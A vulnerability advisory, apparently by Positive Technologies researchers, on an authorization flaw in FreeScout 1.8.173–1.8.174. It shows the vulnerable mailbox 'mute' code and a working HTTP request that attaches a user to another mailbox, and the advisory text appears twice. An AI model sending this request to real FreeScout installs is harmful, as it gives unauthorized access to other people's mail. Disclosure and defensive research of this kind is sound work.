Insufficient authorization [1]
Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-863: Incorrect Authorization
CVSS vector v.4.0: 6.9 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N)
Description: the application incorrectly checks user access rights. An attacker can gain access to information or functionality that does not correspond to the privileges granted to them.
Vulnerable scenario:
/mailbox/ajax
Vulnerable parameters: mailbox_id
Exploitation conditions: unauthorized user
Vulnerable code:
Listing. Vulnerable code (/app/Http/Controllers/MailboxesController.php 821-841)
case 'mute':
$mailbox = Mailbox::find($request->mailbox_id);
if (!$mailbox) {
$response['msg'] = __('Mailbox not found');
}
if (!$response['msg']) {
$mailbox_user = $user->mailboxesWithSettings()->where('mailbox_id', $mailbox->id)->first();
if (!$mailbox_user) {
// User may not be connected to the mailbox yet
$user->mailboxes()->attach($mailbox->id);
$mailbox_user = $user->mailboxesWithSettings()->where('mailbox_id', $mailbox->id)->first();
}
$mailbox_user->settings->mute = (bool)$request->mute;
$mailbox_user->settings->save();
$response['status'] = 'success';
}
break;
Mitigation: implement user privilege checking when performing actions. The procedures for user identification, authentication, and authorization must be implemented flawlessly.
To protect against vulnerabilities, it is recommended to implement effective access control to resources and verify user privileges before providing access to confidential data or allowing actions to be performed within the System. To achieve this, the following guidelines should be followed:
• Users should not have access to any functionality or information by directly accessing the application page;
• Pages containing confidential information should not be cached;
• Access to each page should be restricted by a session authentication token associated with the user who has the necessary permissions to access that page;
• The access control mechanism should be performed on the server-side;
• It is recommended to use a proven library or framework that prevents or limits attacks on the authorization mechanism, such as the JAAS Authorization Framework and OWASP ESAPI Access Control.
Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)
Research
Researcher discovered zero-day vulnerability in FreeScout.
During the research, it was found that in the code, there is no check to ensure that the user is disabling notifications for the mailbox to which they already have access. Moreover, the code explicitly implements functionality that if the user does not have access to the mailbox, then after disabling (enabling) notifications for this mailbox, the user will gain access to it.
Listing. Request to disable the notifications
POST /mailbox/ajax HTTP/1.1
Host: 188. ***.***.***
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: OYnoDl4uyDWCOfbSttiSIxYKRKKiatstOhXt6eUi
X-Requested-With: XMLHttpRequest
Content-Length: 31
Cookie: XSRF-TOKEN=eyJpdiI6IklxbFRKVE1NcnVJRGZoM1B0dDFwN3c9PSIsInZhbHVlIjoiN1ZaRmxvaktoRE1WbWR5SlRpMlZsVUhMSWJXT0NCZWFPMVwvYzJtejNMRkdxWFl0bGo3K3FJNzFoeXBUbjdRTlkiLCJtYWMiOiI1YmNiY2RmODgwM2U4ZDM2ZDc0M2Q4YjJmNzg2Njg4ZGFjZmJhNjhlMzcwZTEzNmEzMjQ5NTQ4ODNhYTI1NjZmIn0%3D; laravel_session=eyJpdiI6InRoNnpWckdlQ01iSGZBU25pY0wxTVE9PSIsInZhbHVlIjoiRit2V3pDcGR0RFZHTTJ4TmN6YWwxcVYzbWZiejI2bjZybXVOM1R4d3BuY2gxaXp2VW9oUEV0Yk0xdWNQMEpUekc3dkF2cEFRRXArdmU2SE5WOEtQS1lVU012QWhtRVRoQyt5d21qbGsyYjVod1AwOWJhOW9xR0dhUyswUVNTMFgiLCJtYWMiOiJhYjdmOTkzYWJmMzg1Y2EwZjQyMTgwNTk1NTcxODAxZTdiNGRkYzcxM2Q5MDA1N2ZiY2JjZWM1YmZiYTA0MTdhIn0%3D
action=mute&mailbox_id=1&mute=1
Insufficient authorization [1]
Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-863: Incorrect Authorization
CVSS vector v.4.0: 6.9 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N)
Description: the application incorrectly checks user access rights. An attacker can gain access to information or functionality that does not correspond to the privileges granted to them.
Vulnerable scenario:
/mailbox/ajax
Vulnerable parameters:
mailbox_id
Exploitation conditions: unauthorized user
Vulnerable code:
Listing. Vulnerable code (/app/Http/Controllers/MailboxesController.php 821-841)
Mitigation: implement user privilege checking when performing actions. The procedures for user identification, authentication, and authorization must be implemented flawlessly.
To protect against vulnerabilities, it is recommended to implement effective access control to resources and verify user privileges before providing access to confidential data or allowing actions to be performed within the System. To achieve this, the following guidelines should be followed:
• Users should not have access to any functionality or information by directly accessing the application page;
• Pages containing confidential information should not be cached;
• Access to each page should be restricted by a session authentication token associated with the user who has the necessary permissions to access that page;
• The access control mechanism should be performed on the server-side;
• It is recommended to use a proven library or framework that prevents or limits attacks on the authorization mechanism, such as the JAAS Authorization Framework and OWASP ESAPI Access Control.
Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)
Research
Researcher discovered zero-day vulnerability in FreeScout.
During the research, it was found that in the code, there is no check to ensure that the user is disabling notifications for the mailbox to which they already have access. Moreover, the code explicitly implements functionality that if the user does not have access to the mailbox, then after disabling (enabling) notifications for this mailbox, the user will gain access to it.
Listing. Request to disable the notifications